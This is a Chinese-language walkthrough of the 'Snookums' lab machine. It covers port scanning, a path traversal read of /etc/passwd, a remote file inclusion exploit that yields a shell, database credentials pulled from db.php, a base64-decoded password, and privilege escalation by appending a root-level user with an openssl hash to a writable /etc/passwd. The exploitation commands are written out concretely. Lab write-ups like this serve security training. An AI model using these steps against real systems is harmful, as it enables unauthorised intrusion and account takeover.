端口扫描
TCP
nmap -sC -sV -p- -n -T4 192.168.141.58
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.45.154
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA)
|   256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA)
|_  256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Simple PHP Photo Gallery
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open  netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp  open  mysql       MySQL (unauthorized)
33060/tcp open  mysqlx      MySQL X protocol listener
Service Info: Host: SNOOKUMS; OS: Unix
Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h20m01s, deviation: 2h18m36s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.10.4)
|   Computer name: snookums
|   NetBIOS computer name: SNOOKUMS\x00
|   Domain name: \x00
|   FQDN: snookums
|_  System time: 2025-05-04T03:10:41-04:00
| smb2-time: 
|   date: 2025-05-04T07:10:37
|_  start_date: N/A
UDP
nmap -Pn -n 192.168.141.58 -sU --top-ports=100 --reason

21 FTP
ftp 192.168.141.58
可以匿名登陆

这表示 FTP 服务器正在使用 扩展被动模式(EPSV) 来进行数据连接。
229 Entering Extended Passive Mode (|||9753|):此消息指示 FTP 服务器在使用扩展的被动模式(EPSV),并在端口 9753 上等待客户端的数据连接。
1.切换到主动模式:
passive

解释如下:
Passive mode: off; fallback to active mode: off.
表示客户端没有成功切换到被动模式,而且也没有自动回退到主动模式。这通常表示 FTP 客户端在配置或服务器设置方面存在一些问题。
200 EPRT command successful. Consider using EPSV.
这是 FTP 服务器的响应,表明它已成功执行了 EPRT 命令,该命令用于在 主动模式 中建立数据连接(EPRT 是用于 IPv6 的扩展,PORT 是用于 IPv4)。
Consider using EPSV
表示服务器建议客户端使用 扩展被动模式(EPSV),它适用于 NAT 或防火墙环境下。
2.可以尝试完全切换到 扩展被动模式(EPSV):
epsv

被动模式(PASV)响应:
服务器给出的响应 227 Entering Passive Mode (192,168,141,58,221,115) 表示服务器希望客户端连接到 IP 地址 192.168.141.58 和端口 221*256 + 115 = 56671 来进行数据传输。
操作失败
尝试下载:
wget -m ftp://anonymous:anonymous@192.168.141.58
失败
目前无法得到目录文件。
22端口
ssh (OpenSSH 7.4):主机上运行的是 OpenSSH 7.4
80端口简单的php相册

版本为v0.8
目录扫描
dirsearch -u http://192.168.141.58/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt
发现
http://192.168.141.58/README.txt

搜索一下
Simple PHP Photo Gallery v0.8的exp:
发现“https://www.exploit-db.com/exploits/48424”
但是不行
发现目录遍历
http://192.168.191.58/image.php?img=…/…/…/…/…/etc/passwd

看看能不能尝试读取ssh私钥,可能有id_ecdsa和id_rsa

发现michael用户,无法读取
111端口
Portmapper 是一个用于将网络服务端口映射到 RPC(远程过程调用)程序号的服务。它在基于 Unix 的系统中作为关键组件,促进这些系统之间的信息交换。与 Portmapper 相关联的端口经常被攻击者扫描,因为这可以揭示有价值的信息。这些信息包括正在运行的 Unix 操作系统 (OS) 类型和系统上可用的服务详情。此外,Portmapper 常常与 NFS(网络文件系统)、NIS(网络信息服务)以及其他基于 RPC 的服务一起使用,以有效地管理网络服务。

没有太多有用信息
445
共享:
smbclient --no-pass -L //192.168.141.58

没有太多信息
3306
尝试连接,失败
mysql -h 192.168.141.58 -u root

继续
重新尝试‘SimplePHPGal 0.7 - Remote File Inclusion’
成功,最开始监听4444,443端口都失败,后面选择监听445端口成功

提权
tty shell
python -c 'import pty;pty.spawn("/bin/bash");'
export TERM=xterm-256color
Ctrl + z
stty raw -echo;fg
reset
枚举
上传linpeas.sh

Linux version 3.10.0-1127.10.1.el7.x86_64
可能会收到脏牛影响

但是没有安装gcc,内核漏洞提权可能无法使用
发现db.php

有点意思,可以查看一下
果然:

发现数据库凭据
连接mysql
mysql -h 127.0.0.1 -P 3306 -D SimplePHPGal -u root -p

成功连接
select * from users;

拿到三个用户的凭证,里面有用户michael。下一步密码破解
密码像base64加密
echo "U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==" | base64 -d
得到‘SG9ja1N5ZG5leUNlcnRpZnkxMjM=’
再进行解码
echo "SG9ja1N5ZG5leUNlcnRpZnkxMjM=" | base64 --decode
得到密码‘HockSydneyCertify123’

切换用户

切换成功,然后枚举sudo
sudo -l
但是显示该用户没有配置
继续使用./linpeas.sh 枚举
发现passwd文件该用户有权限写入

passwd文件写入提权

发现确实是passwd权限配置错误
除非使用集中式凭证系统,如Active Directory或LDAP,Linux密码通常存储在/etc/shadow中,普通用户无法读取。然而,从历史上看,密码散列以及其他账户信息存储在可由世界读取的文件/etc/passwd中。为了向后兼容,如果一个密码散列出现在/etc/passwd用户记录的第二列,它被认为是有效的用于认证,并且如果可用,它将优先于/etc/shadow中的相应条目。这意味着如果我们能写入/etc/passwd,我们就可以有效地为任何账户设置任意密码。
利用步骤如下:
openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

可以看见root2用户成功添加到passwd文件中
切换
su root2

成功!
Snookums靶机复现:端口扫描与提权过程
        
                  
                  
                  
                  
                            
      
          
                
                
                
                
              
                
                
                
                
                
              
                
                
              
            
                  
					3884
					
被折叠的  条评论
		 为什么被折叠?
		 
		 
		
    
  
    
  
            


            